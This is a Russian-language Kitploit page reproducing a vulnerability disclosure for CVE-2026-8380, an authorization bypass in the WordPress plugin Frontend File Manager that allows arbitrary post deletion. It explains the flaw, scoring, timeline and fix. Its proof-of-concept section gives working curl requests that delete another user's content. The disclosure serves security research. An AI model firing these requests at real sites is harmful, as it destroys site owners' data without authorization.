Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-8380 — CVE-2026-8380 | Kitploit
Инструменты/GitHubGitHub/tiagob0b/cve-2026-8380
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и Образование
GitHubtiagob0b/cve-2026-8380

CVE-2026-8380

CVE-2026-8380

Репозиторий
3 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-8380

CVE-2026-8380 — Frontend File Manager <= 23.6 Произвольное удаление записей

Обзор

Критическая ошибка авторизации была обнаружена в плагине WordPress Frontend File Manager (nmedia-user-file-uploader), затрагивающая версии <= 23.6.

Уязвимость позволяет аутентифицированным пользователям с низкими привилегиями безвозвратно удалять произвольные записи WordPress, страницы, вложения и произвольные типы записей из-за некорректной проверки авторизации в AJAX-эндпоинте удаления.

Если опция плагина _allow_guest_upload=yes включена, уязвимость становится эксплуатируемой неаутентифицированными злоумышленниками.

  • CVE: CVE-2026-8380
  • Плагин: Frontend File Manager (nmedia-user-file-uploader)
  • Затронутые версии: <= 23.6
  • Исследователь: Tiago Ferreira
  • CWE: CWE-639 / CWE-862
  • Тип уязвимости: Произвольное удаление записей
  • WPScan: https://wpscan.com/vulnerability/45fcbf74-45be-4cff-a81a-0fea903592a5/

Краткое описание

Плагин содержит критическую уязвимость обхода авторизации, которая позволяет произвольно удалять контент WordPress из-за несоответствия параметров при проверке внутри AJAX-действия wpfm_delete_file.

Уязвимость была успешно подтверждена в контролируемой лабораторной среде с активной эксплуатацией Proof-of-Concept.

В ходе исследования также были выявлены дополнительные слабости безопасности:

  • CSRF в эндпоинтах обновления метаданных без проверки nonce
  • Обход списка разрешённых расширений, основанный только на последнем расширении файла
  • _allow_guest_upload, отключающий проверки авторизации в нескольких эндпоинтах
  • Ограничение частоты запросов, основанное только на REMOTE_ADDR

Уязвимый эндпоинт

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=wpfm_delete_file

Затронутый файл

root@kitploit:~
inc/files.php

Уязвимая область кода

root@kitploit:~
// inc/files.php:691
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
    wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}

// inc/files.php:695
$file_ids = isset($_POST['file_ids']) && is_array($_POST['file_ids'])
            ? array_map('intval', $_POST['file_ids']) : [];

foreach ($file_ids as $file_id) {
    $file = new WPFM_File($file_id);

    wp_delete_post($file_id, $bypass_trash);
}

Корневая причина

Проверка авторизации подтверждает владение, используя единственный параметр:

root@kitploit:~
$_POST['file_id']

Однако фактическая операция удаления перебирает другой параметр:

root@kitploit:~
$_POST['file_ids[]']

Из-за этого несоответствия злоумышленник может:

  1. Указать легитимную собственную запись в file_id
  2. Внедрить произвольные ID записей жертвы в file_ids[]

Не существует проверки, гарантирующей:

  • владение каждым элементом в file_ids[]
  • разрешённый post_type
  • связь между file_id и file_ids[]

В результате произвольный контент WordPress может быть безвозвратно удалён.


Влияние

Аутентифицированный пользователь с минимальными привилегиями может безвозвратно удалить:

  • Записи
  • Страницы
  • Товары
  • Вложения
  • Произвольные типы записей
  • Контент, специфичный для плагина

Удаление выполняется с помощью:

root@kitploit:~
wp_delete_post($file_id, true);

Это означает, что контент удаляется навсегда без возможности восстановления из корзины.

Если включено _allow_guest_upload=yes:

  • эксплуатация становится неаутентифицированной
  • проверка владения автором полностью пропускается

Proof of Concept

Лабораторная среда

  • Цель: 192.168.1.1:8080
  • Роль злоумышленника: Подписчик
  • Роль жертвы: Администратор

Учётная запись злоумышленника

root@kitploit:~
wpfm_sub : Sub@Test123

Записи жертвы

root@kitploit:~
ID страницы: 60
ID записи: 61

Шаг 1 — Получение nonce

Злоумышленник посещает страницу, содержащую шорткод:

root@kitploit:~
[ffmwp]

Извлечение nonce:

root@kitploit:~
curl -b sub_cookie http://target/wpfm-test/ | grep wpfm_ajax_nonce

Ответ:

root@kitploit:~
value="9c233d4720"

Шаг 2 — Инициализация произвольного удаления

root@kitploit:~
curl -b sub_cookie -X POST http://target/wp-admin/admin-ajax.php \
    --data 'action=wpfm_delete_file' \
    --data 'wpfm_ajax_nonce=9c233d4720' \
    --data 'file_id=57' \
    --data 'file_ids[]=60' \
    --data 'file_ids[]=61'

Пояснение

ПараметрОписание
file_id=57Запись, принадлежащая подписчику, для обхода авторизации
file_ids[]=60Страница администратора-жертвы
file_ids[]=61Запись администратора-жертвы

Успешный ответ

root@kitploit:~
{
  "success": true,
  "data": {
    "message": "2 files, directories are removed inside SUB-OWNED"
  }
}

Проверка

root@kitploit:~
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/pages/60
root@kitploit:~
404
root@kitploit:~
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/posts/61
root@kitploit:~
404

Серьёзность

Сценарий с аутентификацией

CVSS 3.1

root@kitploit:~
8.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Сценарий с включённой гостевой загрузкой

CVSS 3.1

root@kitploit:~
9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Классификация CWE

  • CWE-639 — Обход авторизации через контролируемый пользователем ключ
  • CWE-862 — Отсутствие авторизации

Рекомендуемое исправление

Проверяйте владение и тип записи для каждого элемента внутри file_ids[].

Пример безопасной реализации:

root@kitploit:~
foreach ($file_ids as $fid) {

    if ( ! wpfm_is_current_user_post_author($fid) ) {
        wp_send_json_error(...);
    }

    if ( get_post_type($fid) !== 'wpfm-files' ) {
        wp_send_json_error(...);
    }
}

Хронология

СобытиеДата
Уязвимость обнаружена2026-05-28
Связались с вендором2026-05-28
WPScan опубликовал2026-06-04
Публичное раскрытие2026-06-18

Ссылки

  • Рекомендация WPScan: https://wpscan.com/vulnerability/45fcbf74-45be-4cff-a81a-0fea903592a5/

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-8380


Отказ от ответственности

Данное исследование было выполнено в контролируемой лабораторной среде исключительно в образовательных целях и для целей исследования безопасности.

Не тестируйте системы без соответствующего разрешения.

Скачать инструмент